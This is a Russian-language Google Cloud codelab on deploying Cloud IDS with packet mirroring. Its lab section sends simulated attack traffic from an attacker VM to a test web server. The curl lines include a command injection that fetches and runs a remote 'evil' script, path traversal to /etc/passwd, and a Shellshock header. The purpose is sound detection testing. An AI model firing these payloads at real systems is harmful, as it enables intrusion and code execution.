1. Введение
В ходе этой лабораторной работы вы развернете Cloud IDS, расширенную службу обнаружения вторжений нового поколения, которая обеспечивает обнаружение угроз для вторжений, вредоносных программ, шпионских программ и атак с использованием командования и контроля. Вы смоделируете несколько атак и просмотрите подробную информацию об угрозах в Cloud Console.
Что вы узнаете
- Как создать конечную точку Cloud IDS
- Как создать 2 виртуальные машины с помощью команд gcloud
- Как создать политику зеркалирования пакетов
- Как смоделировать атакующий трафик с виртуальной машины
- Как просмотреть сведения об угрозах в Cloud Console и Cloud Logging
Что вам понадобится
- Знание основных команд Linux
2. Варианты использования Cloud IDS
Cloud IDS предоставляет клиентам встроенную службу обнаружения вторжений нового поколения (IDS) Google Cloud, позволяющую удовлетворить их расширенные требования по обнаружению угроз и обеспечению соответствия требованиям, таким как PCI 11.4. Служба основана на технологиях защиты от угроз Palo Alto Networks, обеспечивающих расширенное обнаружение вторжений. Сочетание инфраструктуры мирового класса Google Cloud с безопасностью мирового класса от Palo Alto Networks предоставляет клиентам непревзойденное сочетание полностью управляемой, высокопроизводительной и эффективной службы расширенного обнаружения угроз.
Когда клиенты переходят в облако, безопасность становится для них главным приоритетом. Они хотят иметь те же элементы управления безопасностью, что и локально, например службу обнаружения вторжений (IDS) в облаке. Они настоятельно предпочитают использовать облачное управляемое решение IDS из-за простоты развертывания, высокой производительности и оптимизации затрат по сравнению с развертыванием стороннего решения безопасности и управлением инфраструктурой или использованием собственных подписей. Google Cloud IDS предоставляет комплексный управляемый сервис IDS с автоматическим масштабированием, позволяющий клиентам тратить свое время на анализ и устранение угроз, а также высвобождает время и ресурсы для управления инфраструктурой или сигнатурами угроз.
Cloud IDS развертывается вне канала и может обнаруживать угрозы и оповещать об них, но не может блокировать угрозы. Он использует Google Cloud Packet Mirroring для создания копии сетевого трафика, который анализируется с помощью механизма обнаружения угроз Palo Alto Network.
3. Топология Codelab
Рис. 1. Общий обзор архитектуры развертывания Cloud IDS для этой лабораторной работы.
4. Настройка и требования
Самостоятельная настройка среды
- Войдите в Google Cloud Console и создайте новый проект или повторно используйте существующий. Если у вас еще нет учетной записи Gmail или Google Workspace, вам необходимо ее создать .
- Имя проекта — это отображаемое имя для участников этого проекта. Это строка символов, не используемая API Google, и вы можете обновить ее в любое время.
- Идентификатор проекта должен быть уникальным для всех проектов Google Cloud и неизменяемым (нельзя изменить после его установки). Cloud Console автоматически генерирует уникальную строку; обычно тебя не волнует, что это такое. В большинстве лабораторий кода вам потребуется указать идентификатор проекта (обычно он обозначается как
PROJECT_ID
), поэтому, если он вам не нравится, создайте другой случайный идентификатор или попробуйте свой собственный и посмотрите, доступен ли он. Затем он «замораживается» после создания проекта. - Существует третье значение — номер проекта , который используют некоторые API. Подробнее обо всех трех этих значениях читайте в документации .
- Затем вам необходимо включить выставление счетов в Cloud Console, чтобы использовать облачные ресурсы/API. Прохождение этой лаборатории кода не должно стоить много, если вообще стоит. Чтобы отключить ресурсы и не платить за выставление счетов за пределами этого руководства, следуйте инструкциям по «очистке», которые можно найти в конце лаборатории кода. Новые пользователи Google Cloud имеют право на участие в программе бесплатной пробной версии стоимостью 300 долларов США .
Запустить Cloud Shell
Хотя Google Cloud можно управлять удаленно с вашего ноутбука, в этой лаборатории вы будете использовать Google Cloud Shell , среду командной строки, работающую в облаке.
В консоли GCP щелкните значок Cloud Shell на верхней правой панели инструментов:
Подготовка и подключение к среде займет всего несколько минут. Когда все будет готово, вы должны увидеть что-то вроде этого:
Эта виртуальная машина оснащена всеми необходимыми инструментами разработки. Он предлагает постоянный домашний каталог объемом 5 ГБ и работает в Google Cloud, что значительно повышает производительность сети и аутентификацию. Всю работу в этой лабораторной работе можно выполнять с помощью простого браузера.
5. Прежде чем начать
Включить API
В Cloud Shell убедитесь, что идентификатор вашего проекта настроен.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Включите все необходимые службы
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Создайте сеть VPC.
Сеть VPC
Из Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Подсеть
Из Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Доступ к частному сервису
Из Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Подключение частного сервиса
Из Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Правила брандмауэра
Чтобы разрешить IAP подключаться к вашим экземплярам виртуальных машин, создайте правило брандмауэра, которое:
- Применяется ко всем экземплярам виртуальных машин, доступ к которым вы хотите сделать с помощью IAP.
- Разрешает входящий трафик из диапазона IP 35.235.240.0/20. Этот диапазон содержит все IP-адреса, которые IAP использует для пересылки TCP.
Из Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Чтобы разрешить доступ к серверу стандартному порту HTTP (TCP 80) и протоколу ICMP:
- Применяется к ресурсам с сетевым тегом «сервер».
- Разрешает доступ из всех источников
Из Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Создать экземпляр Cloud NAT
Облачный маршрутизатор
Из Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Облачный NAT
Из Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Создайте конечную точку Cloud IDS.
В этом разделе вы создадите конечную точку Cloud IDS в us-east1 с уровнем серьезности, установленным на информационный. Создание конечной точки IDS занимает около 20 минут.
Конечная точка IDS
Из Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Убедитесь, что конечная точка Cloud IDS запущена.
gcloud ids endpoints list --project=$PROJECT_ID
Выход -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Создайте 2 виртуальные машины.
В этом разделе вы создадите 2 виртуальные машины. Первым будет ваш веб-сервер, который зеркалирует Cloud IDS. Вторая виртуальная машина будет вашим источником атакующего трафика.
Виртуальная машина 1 (Сервер)
Из Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Виртуальная машина 2 (Клиент)
Из Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Подготовка сервера
В ходе этой задачи вы проверите свой сервер и предоставите безопасное вредоносное ПО для своего клиента.
SSH к виртуальной машине через Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Убедитесь, что веб-служба запущена
sudo systemctl status nginx
Вывод - проверка активности и работы
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Изменить каталог на веб-сервис
cd /var/www/html/
Создайте безопасный вредоносный файл на веб-сервере.
sudo touch eicar.file
Вставьте содержимое
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Вернуться в CloudShell
exit
Создайте политику зеркалирования пакетов Cloud IDS.
Определите правило переадресации конечной точки IDS и подтвердите, что конечная точка IDS находится в состоянии «ГОТОВ».
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Пример вывода: скопируйте значение из «endpointForwardingRule».
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Сохраните правило переадресации конечной точки IDS в переменную.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Политика зеркалирования пакетов
Из Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Убедитесь, что политика зеркалирования пакетов создана.
Из Cloud Shell
gcloud compute packet-mirrorings list
Выход
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Имитация атакующего трафика
SSH на виртуальную машину злоумышленника (клиент)
Из Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Запустите следующие запросы на завивку, чтобы имитировать вредоносный трафик.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Выйдите из виртуальной машины, чтобы вернуться в CloudShell.
exit
11. Просмотрите угрозы, обнаруженные Cloud IDS.
Перейдите на панель управления Cloud IDS.
Меню навигации > Сетевая безопасность > Cloud IDS
Перейдите на вкладку «Угрозы».
Как видите, Cloud IDS фиксирует различные профили атакованного трафика и предоставляет подробную информацию о каждой угрозе. Возможно, вам придется нажать кнопку «Обновить», если вы не видите никаких угроз. Теперь мы углубимся немного глубже и рассмотрим детали угрозы.
Найдите угрозу «Уязвимость удаленного выполнения кода Bash», щелкните три точки справа и выберите «Просмотреть сведения об угрозе».
Теперь посмотрим подробности этого инцидента в Cloud Logging. Вернитесь на страницу «Угрозы», щелкнув стрелку, указывающую влево.
Нажмите на три точки справа и выберите «Просмотреть журналы угроз».
Те же сведения предоставляются и для Cloud Logging. Это позволяет отправлять журналы в Cloud Storage, Chronicle или любой SIEM/SOAR. Вы также можете создавать собственные рабочие процессы для выполнения действий по исправлению ситуации на основе предупреждений, например, создать облачную функцию, которая срабатывает при предупреждении, и создать/обновить правило брандмауэра для блокировки IP-адреса или создать/обновить политику Cloud Armor.
12. Этапы очистки
Выход из экземпляра виртуальной машины (все вкладки)
exit
Удаление компонентов лаборатории из одного терминала Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Поздравляем!
Поздравляем с завершением работы над кодом.
Что мы рассмотрели
- Варианты использования Cloud IDS
- Требования к сети
- Поддерживаемые API
- Создана конечная точка Cloud IDS.
- Развернуто 2 виртуальные машины
- Сгенерировал некоторый «атакующий» трафик от клиента
- Подтвержденные угрозы были обнаружены IDS
- Просмотр сведений об угрозах и журналов